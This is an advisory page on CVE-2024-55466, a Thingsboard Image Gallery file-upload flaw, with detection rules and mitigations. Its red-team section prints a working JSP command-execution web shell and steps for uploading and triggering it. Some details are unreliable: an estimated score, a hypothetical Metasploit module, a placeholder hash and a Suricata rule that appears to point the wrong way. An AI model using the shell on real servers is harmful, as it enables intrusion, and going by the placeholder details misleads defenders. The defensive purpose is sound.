CVE-2024-55466
Executive Summary
CVE-2024-55466 is an arbitrary file upload vulnerability discovered in the Image Gallery component of Thingsboard Community, Thingsboard Cloud, and Thingsboard Professional v3.8.1. This flaw allows an authenticated attacker to upload a crafted file (e.g., a web shell) to the server, leading to remote code execution (RCE). The vulnerability is currently unpatched, and no official fix has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains high due to the potential for full server compromise.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Thingsboard is a Java-based open-source IoT platform. The vulnerability resides in the Image Gallery feature, which is part of the core application. No specific package manager (NPM, PyPI, Go, Ruby) is directly involved, but the risk extends to any deployment using the affected version. Organizations should audit their Thingsboard instances and restrict access to the Image Gallery functionality until a patch is available.
CVSS Breakdown & Threat Level
The CVSS score is not provided in the NVD data. However, based on the nature of the vulnerability (arbitrary file upload leading to RCE), a reasonable estimate is:
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Base Score: 8.8 (High)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (authenticated user)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
Threat Level: High. An authenticated attacker can upload arbitrary files, including web shells, leading to full server compromise.
Deep Dive & Mechanics
The vulnerability exists in the Image Gallery upload functionality. The application fails to properly validate the file type and content during the upload process. An attacker can craft a file (e.g., a JSP or PHP web shell) and upload it via the Image Gallery endpoint. The file is then stored on the server and can be accessed directly, allowing the attacker to execute arbitrary commands.
Root Cause: Insufficient input validation and lack of file type restrictions. The application does not check the file extension or MIME type against a whitelist of allowed image formats.
Attack Flow:
- Authenticate to the Thingsboard web interface.
- Navigate to the Image Gallery feature.
- Upload a crafted file (e.g.,
shell.jsporshell.php) disguised as an image. - Access the uploaded file via its URL to trigger code execution.
Vulnerable vs. Patched Code
Since no patch is available, a comparison cannot be made. However, the vulnerable code likely lacks file type validation. A patched version would include:
- Whitelist-based file extension validation (e.g., only
.jpg,.png,.gif). - MIME type verification on the server side.
- Content inspection to ensure the file is a valid image (e.g., using image processing libraries).
- Storage outside the web root or with restricted execution permissions.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Thingsboard v3.8.1 instance (Community, Cloud, or Professional).
- Valid user credentials with access to the Image Gallery.
Exploit Steps:
- Craft a Web Shell: Create a JSP web shell (e.g.,
cmd.jsp) that executes system commands.<%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); Process p = Runtime.getRuntime().exec(cmd); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = br.readLine()) != null) { out.println(line); } %> - Upload the Shell: Log in to Thingsboard, navigate to the Image Gallery, and upload
cmd.jspas an image. - Execute Commands: Access the uploaded file at
http://<target>/api/images/<filename>.jsp?cmd=id.
Automation with Metasploit (if available):
- Use
exploit/multi/http/thingsboard_image_upload(if developed).
Blue Team
Detection:
- Monitor for unusual file uploads to the Image Gallery endpoint (e.g., files with
.jsp,.php,.exeextensions). - Alert on access to uploaded files that are not typical images.
- Use WAF rules to block file uploads with non-image extensions.
Hunting:
- Search for files in the upload directory that are not standard image formats.
- Review web server logs for requests to
/api/images/*.jspor similar patterns.
Mitigation:
- Disable the Image Gallery feature if not needed.
- Implement strict file type validation at the application and network level.
- Apply virtual patching via WAF until an official patch is released.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (Example - replace with actual if known)
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(placeholder)
- Network Indicators:
- POST requests to
/api/images/uploadwith non-image file extensions. - GET requests to
/api/images/<filename>.jspor/api/images/<filename>.php.
- POST requests to
- File System Indicators:
- Unexpected files in the upload directory (e.g.,
cmd.jsp,shell.php).
- Unexpected files in the upload directory (e.g.,
- Process Indicators:
- Unusual child processes spawned by the Java application (e.g.,
cmd.exe,/bin/sh).
- Unusual child processes spawned by the Java application (e.g.,
Detection Engineering
YARA Rule
rule CVE_2024_55466_Thingsboard_Webshell {
meta:
description = "Detects JSP web shells uploaded via Thingsboard Image Gallery"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-55466"
strings:
$jsp_shell = "<%@ page import=\"java.io.*\" %>" nocase
$cmd_param = "request.getParameter(\"cmd\")" nocase
$exec_call = "Runtime.getRuntime().exec" nocase
condition:
any of them
}
Sigma Rule
title: Thingsboard Image Gallery Webshell Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of non-image files to Thingsboard Image Gallery
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
http_method: 'POST'
url_path: '/api/images/upload'
file_extension:
- '.jsp'
- '.php'
- '.exe'
- '.asp'
condition: selection
falsepositives:
- Legitimate file uploads if misconfigured
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-55466 Thingsboard Image Gallery Webshell Upload"; flow:to_server,established; content:"POST"; http_method; content:"/api/images/upload"; http_uri; content:".jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Image Gallery feature in Thingsboard configuration if not required.
- Restrict file uploads to only allow specific image types (e.g.,
.jpg,.png,.gif) using a web application firewall (WAF) or reverse proxy. - Apply virtual patching by blocking requests to
/api/images/uploadwith non-image file extensions.
Long-term Fix:
- Monitor the Thingsboard official repository for a security patch.
- Upgrade to a patched version once released.
- Implement proper file validation in the application code (whitelist extensions, verify MIME types, and inspect file content).
Workaround:
- Store uploaded files outside the web root and serve them via a script that enforces content-type headers and prevents execution.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert